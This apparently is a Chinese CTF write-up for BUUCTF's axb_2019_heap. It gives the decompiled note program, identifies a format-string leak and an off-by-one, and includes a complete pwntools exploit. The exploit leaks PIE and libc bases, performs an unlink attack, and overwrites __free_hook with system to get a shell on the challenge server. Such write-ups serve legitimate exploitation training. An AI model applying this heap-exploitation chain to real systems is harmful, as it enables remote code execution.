off-by-one+unlink BUUCTF axb_2019_heap

Ζ一道Ubuntu 16 的unlink，就当复习了一下（摸了好长时间快忘得一干二净了）

主函数：发现show这个函数没用

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-4h]

  init(argc, argv, envp);
  banner();
  while ( 1 )
  {
    menu();
    v3 = get_int();
    switch ( v3 )
    {
      case 1:
        add_note();
        break;
      case 2:
        delete_note();
        break;
      case 3:
        puts("None!");
        break;
      case 4:
        edit_note();
        break;
      default:
        puts("No such choices!");
        break;
    }
  }
}

banner函数：一个格式化字符串漏洞

unsigned __int64 banner()
{
  char format[12]; // [rsp+Ch] [rbp-14h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Welcome to note management system!");
  printf("Enter your name: ");
  __isoc99_scanf("%s", format);
  printf("Hello, ");
  printf(format);
  puts("\n-------------------------------------");
  return __readfsqword(0x28u) ^ v2;
}

add函数：存在 off-by-one ，此外注意一下堆块大小要大于 0x80

unsigned __int64 add_note()
{
  int v0; // ebx
  int v1; // ebx
  size_t size; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  printf("Enter the index you want to create (0-10):");
  __isoc99_scanf("%d", (char *)&size + 4);
  if ( (size & 0x8000000000000000LL) == 0LL && SHIDWORD(size) <= 10 )
  {
    if ( counts > 0xAu )
    {
      puts("full!");
      exit(0);
    }
    puts("Enter a size:");
    __isoc99_scanf("%d", &size);
    if ( key == 43 )
    {
      puts("Enter the content: ");
      v0 = HIDWORD(size);
      *((_QWORD *)&note + 2 * v0) = malloc((unsigned int)size);
      *((_DWORD *)&note + 4 * SHIDWORD(size) + 2) = size;
      if ( !*((_QWORD *)&note + 2 * SHIDWORD(size)) )
      {
        fwrite("error", 1uLL, 5uLL, stderr);
        exit(0);
      }
    }
    else
    {
      if ( (unsigned int)size <= 0x80 )
      {
        puts("You can't hack me!");
        return __readfsqword(0x28u) ^ v4;
      }
      puts("Enter the content: ");
      v1 = HIDWORD(size);
      *((_QWORD *)&note + 2 * v1) = malloc((unsigned int)size);
      *((_DWORD *)&note + 4 * SHIDWORD(size) + 2) = size;
      if ( !*((_QWORD *)&note + 2 * SHIDWORD(size)) )
      {
        fwrite("error", 1uLL, 5uLL, stderr);
        exit(0);
      }
    }
    if ( !(unsigned int)check_pass((char *)&note + 16 * SHIDWORD(size)) )
    {
      puts("go out!hacker!");
      exit(0);
    }
    get_input(*((_QWORD *)&note + 2 * SHIDWORD(size)), (unsigned int)size);
    ++counts;
    puts("Done!");
  }
  else
  {
    puts("You can't hack me!");
  }
  return __readfsqword(0x28u) ^ v4;
}

delete函数：

unsigned __int64 delete_note()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Enter an index:");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 10 && v1 >= 0 && *((_QWORD *)&note + 2 * v1) )
  {
    free(*((void **)&note + 2 * v1));
    *((_QWORD *)&note + 2 * v1) = 0LL;
    *((_DWORD *)&note + 4 * v1 + 2) = 0;
    --counts;
    puts("Done!");
  }
  else
  {
    puts("You can't hack me!");
  }
  return __readfsqword(0x28u) ^ v2;
}

edit函数：

unsigned __int64 edit_note()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Enter an index:");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 10 && v1 >= 0 && *((_QWORD *)&note + 2 * v1) )
  {
    puts("Enter the content: ");
    get_input(*((_QWORD *)&note + 2 * v1), *((_DWORD *)&note + 4 * v1 + 2));
    puts("Done!");
  }
  else
  {
    puts("You can't hack me!");
  }
  return __readfsqword(0x28u) ^ v2;
}

开了 PIE ，且 show 函数是假的，先利用格式化字符串漏洞泄露 libc 和基地址。

然后通过 off-by-one 来 unlink，改 chunk0 为 __free_hook，再向__free_hook里填 system 或 one_gadget 都可。

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'

#s = process('./1')
s = remote('node4.buuoj.cn',29510)
#libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
libc = ELF('./libc-2.23buu.so')
def add(index,size,content):
    s.recvuntil(b'>>')
    s.sendline(b'1')
    s.recvuntil(b'Enter the index you want to create (0-10):')
    s.sendline(str(index))
    s.recvuntil(b'Enter a size:\n')
    s.sendline(str(size))
    s.recvuntil(b'content:')
    s.sendline(content)

def delete(index):
    s.recvuntil(b'>> ')
    s.sendline(b'2')
    s.recvuntil(b'Enter an index:\n')
    s.sendline(str(index))

def edit(index,content):
    s.recvuntil(b'>> ')
    s.sendline(b'4')
    s.recvuntil(b'Enter an index:\n')
    s.sendline(str(index))
    s.recvuntil(b'Enter the content: ')
    s.sendline(content)

s.recvuntil(b'name')
s.sendline(b'%11$p%15$p')
s.recvuntil(b'Hello, ')
base_addr = int(s.recv(14),16) - 0x1186
libc_base = int(s.recv(14),16) - libc.sym['__libc_start_main'] - 240
success('base_addr=>' + hex(base_addr))
success('libc_base=>' + hex(libc_base))
one_gadget = libc_base + 0x4526a
system_addr = libc_base + libc.sym['system']
__free_hook = libc_base + libc.sym['__free_hook']
note_addr = base_addr + 0x202060
success('note_addr=>' + hex(note_addr))

fd = note_addr - 0x18
bk = note_addr - 0x10
add(0,0x88,b'aaaaaaaaaaa')  #0
add(1,0x88,b'bbbbbbbbbbb')  #1
add(2,0x88,b'/bin/sh\x00')  #2

payload = p64(0) + p64(0x80)
payload+= p64(fd)+ p64(bk)
payload = payload.ljust(0x80,b'\x00') + p64(0x80)
payload+= p8(0x90)
edit(0,payload)

delete(1)

payload = p64(0)*3 + p64(__free_hook) + p64(0x10)
edit(0,payload)
#edit(0,p64(one_gadget))
edit(0,p64(system_addr))

#gdb.attach(s)

s.interactive()
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''